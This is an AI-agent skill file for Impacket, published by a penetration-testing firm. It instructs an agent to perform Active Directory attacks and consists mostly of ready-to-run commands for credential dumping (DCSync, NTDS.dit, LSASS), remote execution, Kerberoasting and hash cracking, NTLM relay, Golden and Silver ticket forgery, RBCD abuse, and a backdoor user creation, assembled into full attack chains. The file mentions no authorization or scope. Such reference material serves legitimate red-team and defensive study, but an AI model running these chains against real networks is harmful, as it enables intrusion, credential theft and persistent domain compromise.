| name | impacket |
| description | Use and operate Impacket — a collection of Python classes for working with network protocols, essential for Active Directory attacks and lateral movement. Use when performing AD enumeration, credential dumping (SAM, LSA, NTDS.dit, DCSync), remote code execution via SMB/WMI/DCOM, Kerberoasting, AS-REP Roasting, NTLM relay attacks, Golden/Silver ticket forgery, or MSSQL attacks. Covers installation, all major example scripts, authentication methods, and complete AD attack chains. GitHub: https://github.com/fortra/impacket (15.6k stars).
|
| license | Apache-2.0 |
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/fortra/impacket","language":"Python"} |
impacket Agent Skill
When to Use This Skill
Use this skill when:
- Performing Active Directory attacks: credential dumping, lateral movement, privilege escalation
- Executing remote commands via SMB, WMI, DCOM, or Task Scheduler
- Performing Kerberoasting (GetUserSPNs.py) or AS-REP Roasting (GetNPUsers.py)
- Conducting NTLM relay attacks with ntlmrelayx.py
- Forging Kerberos tickets (Golden/Silver) with ticketer.py
- Interacting with SMB shares or MSSQL instances during assessments
- Building or debugging Python tooling that uses low-level network protocol classes
What Impacket Does
Impacket is a Python library of protocol implementations — SMB1/2/3, MSRPC, LDAP, Kerberos, MSSQL (TDS), DCOM/WMI — providing both a reusable class library and a large suite of ready-to-run example scripts. It is the backbone of most Windows/Active Directory attack tooling in the offensive security ecosystem, underpinning tools like CrackMapExec, BloodHound ingestors, and countless custom exploits.
Installation
pip (stable release)
pip install impacket
From source (recommended for latest features)
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -e .
python setup.py install
Kali / Debian — pre-packaged
sudo apt install python3-impacket impacket-scripts
Docker
docker build -t impacket .
docker run --rm -it impacket secretsdump.py --help
Dependencies (auto-installed via pip)
pyOpenSSL, cryptography, pyasn1, ldap3, ldapdomaindump, flask, dsinternals
Verify
python -c "import impacket; print(impacket.__version__)"
secretsdump.py --help
Authentication Methods
All impacket scripts share a consistent authentication model:
| Method | Flag | Example |
|---|
| Cleartext password | (default) | user:password@target |
| NT hash (Pass-the-Hash) | -hashes | -hashes :aad3b435b51404eeaad3b435b51404ee:NTHASH |
| NTLM (LM:NT) | -hashes | -hashes LMHASH:NTHASH |
| Kerberos ticket | -k | -k -no-pass (uses ccache from KRB5CCNAME) |
| AES key | -aesKey | -aesKey <128/256-bit hex> |
| DC IP (required when using Kerberos) | -dc-ip | -dc-ip 10.10.10.1 |
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMAIN/user@10.10.10.100
export KRB5CCNAME=/tmp/admin.ccache
secretsdump.py -k -no-pass -dc-ip 10.10.10.1 DOMAIN/admin@dc01.domain.local
Core Scripts Reference
secretsdump.py — Credential Extraction
The primary impacket credential-dumping script. Supports remote (registry/DRSUAPI) and local (hive file) extraction.
secretsdump.py DOMAIN/user:password@10.10.10.100
secretsdump.py -just-dc DOMAIN/user:password@dc01.domain.local
secretsdump.py -just-dc-user Administrator DOMAIN/user:password@dc01.domain.local
secretsdump.py -just-dc-ntlm DOMAIN/user:password@dc01.domain.local
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
secretsdump.py -hashes :NTHASH DOMAIN/user@10.10.10.100
secretsdump.py DOMAIN/user:password@10.10.10.100 | tee hashes.txt
Remote Execution Scripts
psexec.py — SCM + Named Pipe Shell
Creates a Windows service via SVCCTL, uploads a binary to ADMIN$, executes it.
psexec.py DOMAIN/user:password@10.10.10.100
psexec.py -hashes :NTHASH DOMAIN/user@10.10.10.100
psexec.py -k -no-pass -dc-ip 10.10.10.1 DOMAIN/user@target.domain.local
psexec.py DOMAIN/user:password@10.10.10.100 cmd.exe /c whoami
smbexec.py — Service + cmd.exe (less noisy)
Creates a temporary service that runs cmd.exe commands via output redirection to a share.
smbexec.py DOMAIN/user:password@10.10.10.100
smbexec.py -hashes :NTHASH DOMAIN/user@10.10.10.100
smbexec.py -share TMP DOMAIN/user:password@10.10.10.100
wmiexec.py — WMI (Win32_Process) Execution
Uses DCOM/WMI. More stealthy — no service creation. Output retrieved via SMB share.
wmiexec.py DOMAIN/user:password@10.10.10.100
wmiexec.py -hashes :NTHASH DOMAIN/user@10.10.10.100
wmiexec.py DOMAIN/user:password@10.10.10.100 "ipconfig /all"
wmiexec.py -nooutput DOMAIN/user:password@10.10.10.100 "net user hacker P@ss1 /add"
atexec.py — Task Scheduler Execution
Schedules a task via MS-TSCH, retrieves output from a share.
atexec.py DOMAIN/user:password@10.10.10.100 "whoami"
atexec.py -hashes :NTHASH DOMAIN/user@10.10.10.100 "net localgroup administrators"
dcomexec.py — DCOM Shell (MMC20, ShellWindows, ShellBrowserWindow)
dcomexec.py -object MMC20 DOMAIN/user:password@10.10.10.100
dcomexec.py -object ShellWindows DOMAIN/user:password@10.10.10.100 "calc.exe"
Kerberos Attack Scripts
GetUserSPNs.py — Kerberoasting
Requests TGS tickets for accounts with SPNs set. Offline-crackable.
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.1
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.1 -request
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.1 -request -outputfile kerberoast.txt
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.1 -request-user svc_sql
GetUserSPNs.py -hashes :NTHASH DOMAIN/user -dc-ip 10.10.10.1 -request
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
GetNPUsers.py — AS-REP Roasting
Targets accounts with "Do not require Kerberos preauthentication" set.
GetNPUsers.py DOMAIN/user -dc-ip 10.10.10.1 -no-pass
GetNPUsers.py DOMAIN/user:password -dc-ip 10.10.10.1 -request
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass -format hashcat
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
ntlmrelayx.py — NTLM Relay Attacks
Relay intercepted NTLM authentication to target services. Requires Responder (or mitm6) to capture auth.
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -tf targets.txt -t ldap://dc01.domain.local --escalate-user lowpriv
ntlmrelayx.py -tf targets.txt -t mssql://sql.domain.local -q "SELECT @@version"
ntlmrelayx.py -tf targets.txt -smb2support -i
nc 127.0.0.1 11000
ntlmrelayx.py -tf targets.txt -t https://ca.domain.local/certsrv/certfnsh.asp --adcs --template User
ntlmrelayx.py -tf targets.txt -smb2support --dump-lsass
Ticket Forgery
ticketer.py — Golden and Silver Ticket Forgery
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
ticketer.py -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local \
-spn cifs/server.domain.local Administrator
wmiexec.py -k -no-pass -dc-ip 10.10.10.1 domain.local/Administrator@server.domain.local
getTGT.py / getST.py — Ticket Acquisition
getTGT.py DOMAIN/user:password -dc-ip 10.10.10.1
export KRB5CCNAME=user.ccache
getST.py -spn cifs/server.domain.local -impersonate Administrator DOMAIN/svc:password -dc-ip 10.10.10.1
SMB and File Access
smbclient.py — Interactive SMB Shell
smbclient.py DOMAIN/user:password@10.10.10.100
smbclient.py -hashes :NTHASH DOMAIN/user@10.10.10.100
MSSQL Access
mssqlclient.py — SQL Server Client
mssqlclient.py DOMAIN/user:password@10.10.10.100 -windows-auth
mssqlclient.py sa:password@10.10.10.100
mssqlclient.py -hashes :NTHASH DOMAIN/user@10.10.10.100 -windows-auth
Enumeration Scripts
lookupsid.py DOMAIN/user:password@10.10.10.100
samrdump.py DOMAIN/user:password@10.10.10.100
GetADUsers.py -all DOMAIN/user:password -dc-ip 10.10.10.1
findDelegation.py DOMAIN/user:password -dc-ip 10.10.10.1
GetLAPSPassword.py DOMAIN/user:password -dc-ip 10.10.10.1 -computer WORKSTATION01
reg.py DOMAIN/user:password@10.10.10.100 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services
dpapi.py masterkey -file 99cf9... -sid S-1-5-21-... -password P@ssword
dpapi.py credential -file C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\...
Common Attack Chains
Chain 1: Kerberoast → Crack → Lateral Movement
GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip 10.10.10.1 -request -outputfile spns.txt
hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt --force
secretsdump.py DOMAIN/svc_sql:CrackedPass@10.10.10.100
Chain 2: NTLM Relay → DCSync
responder -I eth0 -rdwP
ntlmrelayx.py -t ldaps://dc01.domain.local --escalate-user lowpriv
secretsdump.py -just-dc DOMAIN/lowpriv:password@dc01.domain.local
Chain 3: AS-REP Roast with No Creds
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
wmiexec.py DOMAIN/user:CrackedPass@10.10.10.100
Chain 4: Golden Ticket Persistence
secretsdump.py -just-dc-user krbtgt DOMAIN/admin:password@dc01.domain.local
lookupsid.py DOMAIN/admin:password@dc01.domain.local | grep "Domain SID"
ticketer.py -nthash <krbtgt_nt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass domain.local/Administrator@any-host.domain.local
Advanced Techniques
Using Impacket as a Python Library
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, drsuapi
smb = SMBConnection('10.10.10.100', '10.10.10.100')
smb.login('user', 'password', 'DOMAIN')
shares = smb.listShares()
import os
os.environ['KRB5CCNAME'] = '/tmp/user.ccache'
smb.kerberosLogin('user', '', 'DOMAIN', '', '', '')
rbcd.py — Resource-Based Constrained Delegation Attack
addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'Password123' DOMAIN/user:password -dc-ip 10.10.10.1
rbcd.py -delegate-to 'TARGET$' -delegate-from 'ATTACKER$' -action write DOMAIN/user:password -dc-ip 10.10.10.1
getST.py -spn cifs/target.domain.local -impersonate Administrator -dc-ip 10.10.10.1 DOMAIN/ATTACKER\$:Password123
export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
secretsdump.py -k -no-pass target.domain.local
Integration with Other Tools
| Impacket Script | Pairs With | Workflow |
|---|
| ntlmrelayx.py | Responder, mitm6 | IPv6 + relay → LDAP/SMB |
| secretsdump.py | BloodHound | Dump hashes → find paths |
| GetUserSPNs.py | Hashcat | Kerberoast → crack |
| ticketer.py | Mimikatz | Cross-validate ticket forgery |
| mssqlclient.py | PowerUpSQL | MSSQL privilege escalation |
Troubleshooting
[-] SMB SessionError: STATUS_ACCESS_DENIED
→ Account lacks admin rights on target; try different credentials or use an account in local admins.
[-] NTLM Auth Error
→ Ensure NTLM is not disabled (NTLMv1 blocks); try -k Kerberos auth instead.
Kerberos SessionError: KRB_AP_ERR_SKEW
→ Clock skew > 5 minutes. Sync with DC: sudo ntpdate <dc-ip>
[-] StringBinding must be in the format ...
→ Use FQDN instead of IP when Kerberos is required: -dc-ip 10.10.10.1 with FQDN target.
ImportError: No module named 'impacket'
→ Use pip install impacket in the active virtualenv, or run scripts with python path/to/script.py.
SMB Signing errors with ntlmrelayx.py
→ SMB signing prevents relaying to that host. Use --smb2support and pre-scan with crackmapexec smb target --gen-relay-list relay-targets.txt.
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
Related reading: How to Attack-Test Your Own Domain Controllers Before an Adversary Does
redhound.us | GitHub | Book a consultation